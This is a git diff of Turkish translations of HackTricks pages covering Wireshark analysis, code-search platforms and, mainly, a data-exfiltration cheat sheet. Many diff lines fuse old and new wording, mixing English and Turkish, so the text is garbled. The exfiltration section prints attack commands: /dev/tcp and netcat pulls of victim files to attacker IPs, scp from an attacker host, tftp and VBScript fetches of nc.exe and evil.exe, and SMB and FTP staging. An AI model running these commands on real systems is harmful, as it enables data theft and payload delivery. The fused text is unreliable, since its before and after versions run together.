Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **stealer malwares** tarafından **tehdit altına alınmış** bir şirketin veya müşterilerinin olup olmadığını kontrol etmek için **ücretsiz** işlevler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirme ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Wireshark becerilerinizi geliştirin ## Wireshark becerilerinizi geliştirin
@ -50,7 +37,7 @@ _**Analyze** --> **Expert Information**_ seçeneğine tıkladığınızda, **ana
**Çözülmüş Adresler** **Çözülmüş Adresler**
_**Statistics --> Resolved Addresses**_ altında, wireshark tarafından "**çözülen**" birçok **bilgi** bulabilirsiniz; örneğin, port/taşıyıcıdan protokole, MAC'tan üreticiye vb. İletişimde nelerin yer aldığını bilmek ilginçtir. _**Statistics --> Resolved Addresses**_ altında, wireshark tarafından "**çözülen**" çeşitli **bilgiler** bulabilirsiniz; örneğin port/taşıyıcıdan protokole, MAC'tan üreticiye vb. İletişimde nelerin yer aldığını bilmek ilginçtir.
![](<../../../.gitbook/assets/image (893).png>) ![](<../../../.gitbook/assets/image (893).png>)
@ -62,13 +49,13 @@ _**Statistics --> Protocol Hierarchy**_ altında, iletişimde yer alan **protoko
**Görüşmeler** **Görüşmeler**
_**Statistics --> Conversations**_ altında, iletişimdeki **görüşmelerin özeti** ve bunlarla ilgili verileri bulabilirsiniz. _**Statistics --> Conversations**_ altında, iletişimdeki **görüşmelerin** bir özetini ve bunlarla ilgili verileri bulabilirsiniz.
![](<../../../.gitbook/assets/image (453).png>) ![](<../../../.gitbook/assets/image (453).png>)
**Uç Noktalar** **Uç Noktalar**
_**Statistics --> Endpoints**_ altında, iletişimdeki **uç noktaların özeti** ve her biriyle ilgili verileri bulabilirsiniz. _**Statistics --> Endpoints**_ altında, iletişimdeki **uç noktaların** bir özetini ve her biriyle ilgili verileri bulabilirsiniz.
![](<../../../.gitbook/assets/image (896).png>) ![](<../../../.gitbook/assets/image (896).png>)
@ -80,7 +67,7 @@ _**Statistics --> DNS**_ altında, yakalanan DNS isteği hakkında istatistikler
**G/Ç Grafiği** **G/Ç Grafiği**
_**Statistics --> I/O Graph**_ altında, iletişimin **grafiğini** bulabilirsiniz. _**Statistics --> I/O Graph**_ altında, iletişimin bir **grafiğini** bulabilirsiniz.
![](<../../../.gitbook/assets/image (992).png>) ![](<../../../.gitbook/assets/image (992).png>)
@ -98,7 +85,7 @@ Diğer ilginç filtreler:
### Arama ### Arama
Eğer oturumların **paketleri** içinde **içerik** aramak istiyorsanız, _CTRL+f_ tuşlarına basın. Ana bilgi çubuğuna (No., Zaman, Kaynak vb.) yeni katmanlar eklemek için sağ tıklayıp ardından sütunu düzenleyebilirsiniz. Eğer oturumların **paketleri** içinde **içerik** aramak istiyorsanız _CTRL+f_ tuşlarına basın. Ana bilgi çubuğuna (No., Zaman, Kaynak vb.) yeni katmanlar eklemek için sağ tıklayıp ardından sütunu düzenleyebilirsiniz.
### Ücretsiz pcap laboratuvarları ### Ücretsiz pcap laboratuvarları
@ -110,7 +97,7 @@ HTTP başlığını gösteren bir sütun ekleyebilirsiniz:
![](<../../../.gitbook/assets/image (639).png>) ![](<../../../.gitbook/assets/image (639).png>)
Ve bir HTTPS bağlantısının başlatan sunucu adını ekleyen bir sütun (**ssl.handshake.type == 1**): Ve bir HTTPS bağlantısını başlatan sunucu adını ekleyen bir sütun (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>) ![](<../../../.gitbook/assets/image (408) (1).png>)
@ -134,7 +121,7 @@ _edit>preference>protocol>ssl>_
![](<../../../.gitbook/assets/image (1103).png>) ![](<../../../.gitbook/assets/image (1103).png>)
Sunucu ve özel anahtarın tüm verilerini (_IP, Port, Protokol, Anahtar dosyası ve şifre_) eklemek için _Edit_ seçeneğine tıklayın. Sunucu ve özel anahtarın tüm verilerini (_IP, Port, Protokol, Anahtar dosyası ve şifre_) eklemek için _Edit_ seçeneğine basın.
### Simetrik oturum anahtarları ile https trafiğini şifre çözme ### Simetrik oturum anahtarları ile https trafiğini şifre çözme
@ -152,7 +139,7 @@ Bunu wireshark'a aktarmak için _edit > preference > protocol > ssl > ve (Pre)-M
## ADB iletişimi ## ADB iletişimi
APK'nin gönderildiği bir ADB iletişiminden bir APK çıkarın: APK'nın gönderildiği bir ADB iletişiminden bir APK çıkarın:
```python ```python
from scapy.all import * from scapy.all import *
@ -179,28 +166,16 @@ f = open('all_bytes.data', 'w+b')
f.write(all_bytes) f.write(all_bytes)
f.close() f.close()
``` ```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirme ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,33 +1,25 @@
# Veri Çıkarma # Exfiltration
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Güvenlik Grubu** ## Bilgi sızdırmak için yaygın olarak beyaz listeye alınmış alanlar
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> Kötüye kullanılabilecek yaygın olarak beyaz listeye alınmış alanları bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin.
{% embed url="https://discord.gg/tryhardsecurity" %} ## Copy\&Paste Base64
***
## Bilgi çıkarmak için genellikle izin verilen alan adları
Kötüye kullanılabilen genellikle izin verilen alan adlarını bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin
## Base64 Kopyala ve Yapıştır
**Linux** **Linux**
```bash ```bash
@ -63,10 +55,10 @@ Start-BitsTransfer -Source $url -Destination $output
#OR #OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous Start-BitsTransfer -Source $url -Destination $output -Asynchronous
``` ```
### Dosyaları Yükle ### Dosya Yükleme
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * [**GET ve POST'ları (aynı zamanda başlıkları) yazdıran SimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Python modülü [uploadserver](https://pypi.org/project/uploadserver/): * Python modülü [uploadserver](https://pypi.org/project/uploadserver/):
```bash ```bash
# Listen to files # Listen to files
@ -151,7 +143,7 @@ mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/ chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart /etc/init.d/pure-ftpd restart
``` ```
### **Windows** istemci ### **Windows** istemcisi
```bash ```bash
#Work well with python. With pure-ftp use fusr:ftp #Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt echo open 10.11.0.41 21 > ftp.txt
@ -164,14 +156,14 @@ ftp -n -v -s:ftp.txt
``` ```
## SMB ## SMB
Sunucu olarak Kali Kali sunucu olarak
```bash ```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions #For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd` impacket-smbserver -smb2support -user test -password test test `pwd`
``` ```
Veya bir smb paylaşımı oluşturun **samba kullanarak**: Veya **samba** kullanarak bir smb paylaşımı oluşturun:
```bash ```bash
apt-get install samba apt-get install samba
mkdir /tmp/smb mkdir /tmp/smb
@ -187,21 +179,6 @@ guest ok = Yes
service smbd restart service smbd restart
``` ```
Windows Windows
---
### Exfiltration
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
- **Email**: Sending data as email attachments to an external email address.
- **FTP**: Transferring data using the File Transfer Protocol to an external server.
- **DNS**: Encoding data within DNS requests to leak information.
- **HTTP/HTTPS**: Sending data over HTTP or HTTPS to a remote server.
- **Steganography**: Hiding data within other files to avoid detection.
- **Cloud Storage**: Uploading data to cloud storage services for retrieval later.
It is essential for attackers to exfiltrate data stealthily to avoid detection by security measures.
```bash ```bash
CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -211,40 +188,38 @@ WindPS-2> cd new_disk:
``` ```
## SCP ## SCP
Saldırganın SSHd çalışıyor olmalıdır. Saldırganın SSHd'nin çalışıyor olması gerekir.
```bash ```bash
scp <username>@<Attacker_IP>:<directory>/<filename> scp <username>@<Attacker_IP>:<directory>/<filename>
``` ```
## SSHFS ## SSHFS
Eğer kurbanın SSH'si varsa, saldırgan kurbandan saldırgana bir dizin bağlayabilir. Eğer kurbanın SSH'si varsa, saldırgan kurbanın bir dizinini kendi sistemine monte edebilir.
```bash ```bash
sudo apt-get install sshfs sudo apt-get install sshfs
sudo mkdir /mnt/sshfs sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
``` ```
## NC ## NC
NC, or Netcat, is a versatile networking tool that can be used for various purposes during a penetration test. It can be used for port scanning, banner grabbing, transferring files, and even creating reverse shells. Netcat can also be used for exfiltration by sending data over the network to an attacker-controlled machine.
```bash ```bash
nc -lvnp 4444 > new_file nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file nc -vn <IP> 4444 < exfil_file
``` ```
## /dev/tcp ## /dev/tcp
### Kurbanın cihazından dosya indir ### Kurbandan dosya indirme
```bash ```bash
nc -lvnp 80 > file #Inside attacker nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
``` ```
### Dosyayı hedefe yükle ### Kurbanın dosyasını yükle
```bash ```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim # Inside victim
exec 6< /dev/tcp/10.10.10.10/4444 exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt cat <&6 > file.txt
``` ```
Teşekkürler **@BinaryShadow\_** thanks to **@BinaryShadow\_**
## **ICMP** ## **ICMP**
```bash ```bash
@ -266,15 +241,15 @@ sniff(iface="tun0", prn=process_packet)
``` ```
## **SMTP** ## **SMTP**
Eğer bir SMTP sunucusuna veri gönderebiliyorsanız, veriyi almak için bir SMTP oluşturabilirsiniz: Eğer bir SMTP sunucusuna veri gönderebiliyorsanız, veriyi almak için python ile bir SMTP oluşturabilirsiniz:
```bash ```bash
sudo python -m smtpd -n -c DebuggingServer :25 sudo python -m smtpd -n -c DebuggingServer :25
``` ```
## TFTP ## TFTP
XP ve 2003'te varsayılan olarak (diğerlerinde kurulum sırasında açıkça eklenmesi gerekir) Varsayılan olarak XP ve 2003'te (diğerlerinde kurulum sırasında açıkça eklenmesi gerekir)
Kali'de **TFTP sunucusunu başlatın**: Kali'de, **TFTP sunucusunu başlat**:
```bash ```bash
#I didn't get this options working and I prefer the python option #I didn't get this options working and I prefer the python option
mkdir /tftp mkdir /tftp
@ -286,21 +261,17 @@ cp /path/tp/nc.exe /tftp
pip install ptftpd pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER> ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
``` ```
**victim** üzerinde, Kali sunucusuna bağlanın: In **victim**, Kali sunucusuna bağlanın:
```bash ```bash
tftp -i <KALI-IP> get nc.exe tftp -i <KALI-IP> get nc.exe
``` ```
## PHP ## PHP
PHP'de bir oneliner ile bir dosya indirin: Bir dosyayı PHP tek satırı ile indirin:
```bash ```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
``` ```
## VBScript ## VBScript
### VBScript Exfiltration
VBScript can be used to exfiltrate data from a compromised system. This can be achieved by reading files, accessing system information, or interacting with network resources. VBScript can then encode the data and send it to an external server using various techniques such as HTTP requests or DNS queries. This allows an attacker to steal sensitive information without being easily detected.
```bash ```bash
Attacker> python -m SimpleHTTPServer 80 Attacker> python -m SimpleHTTPServer 80
``` ```
@ -338,14 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
``` ```
## Debug.exe ## Debug.exe
`debug.exe` programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda onları onaltılıktan yeniden oluşturma yeteneğine de sahiptir. Bu, bir ikili dosyanın onaltılık bir gösterimini sağlayarak `debug.exe`nin ikili dosyayı oluşturabilmesi anlamına gelir. Bununla birlikte, debug.exe'nin **64 kb boyutundaki dosyaları birleştirme sınırlaması olduğunu** unutmamak önemlidir. `debug.exe` programı yalnızca ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **onları hex'ten yeniden oluşturma yeteneğine de sahiptir**. Bu, bir ikilinin hex'ini sağlayarak, `debug.exe`'nin ikili dosyayı oluşturabileceği anlamına gelir. Ancak, debug.exe'nin **64 kb boyutuna kadar dosyaları birleştirme sınırlaması** olduğunu belirtmek önemlidir.
```bash ```bash
# Reduce the size # Reduce the size
upx -9 nc.exe upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt wine exe2bat.exe nc.exe nc.txt
``` ```
```markdown Sonra metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir dosya oluşturulacaktır.
Ardından metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir dosya oluşturulacaktır.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -353,24 +323,17 @@ Ardından metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
```

View file

@ -1,59 +1,45 @@
# Geniş Kaynak Kodu Araması # Geniş Kaynak Kodu Arama
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group** Bu sayfanın amacı, bir veya daha fazla platformda **kod aramaya izin veren platformları** (literal veya regex) listelemektir.
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> Bu, **sızdırılmış bilgileri** veya **açıklar** kalıplarını aramak için birkaç durumda yardımcı olur.
{% embed url="https://discord.gg/tryhardsecurity" %} * [**SourceGraph**](https://sourcegraph.com/search): Milyonlarca repoda arama yapın. Ücretsiz bir versiyonu ve 15 gün ücretsiz olan bir kurumsal versiyonu vardır. Regexleri destekler.
* [**Github Arama**](https://github.com/search): Github'da arama yapın. Regexleri destekler.
*** * Belki [**Github Kod Arama**](https://cs.github.com/) kontrol etmek de faydalı olabilir.
* [**Gitlab Gelişmiş Arama**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab projelerinde arama yapın. Regexleri destekler.
Bu sayfanın amacı, bir veya daha fazla platformda binlerce/milyonlarca depoda **kod aramaya izin veren platformları** sıralamaktır.
Bu, **sızdırılmış bilgileri** veya **zayıflıkların** desenlerini aramak için birkaç durumda yardımcı olur.
* [**SourceGraph**](https://sourcegraph.com/search): Milyonlarca depoda arama yapın. Ücretsiz bir sürümü ve 15 günlük ücretsiz bir kurumsal sürümü bulunmaktadır. Regex'leri destekler.
* [**Github Arama**](https://github.com/search): Github üzerinde arama yapın. Regex'leri destekler.
* Belki de [**Github Kod Arama**](https://cs.github.com/) da faydalı olabilir.
* [**Gitlab Gelişmiş Arama**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab projeleri arasında arama yapın. Regex'leri destekler.
* [**SearchCode**](https://searchcode.com/): Milyonlarca projede kod arayın. * [**SearchCode**](https://searchcode.com/): Milyonlarca projede kod arayın.
{% hint style="warning" %} {% hint style="warning" %}
Bir depoda sızıntıları ararken `git log -p` gibi bir şey çalıştırdığınızda unutmayın, **diğer sırlar içeren diğer taakları olabileceğini** unutmayın! Bir repoda sızıntılar ararken ve `git log -p` gibi bir şey çalıştırıyorsanız, **diğer gizli bilgileri içeren diğer commit'lere sahip diğer dallar** olabileceğini unutmayın!
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
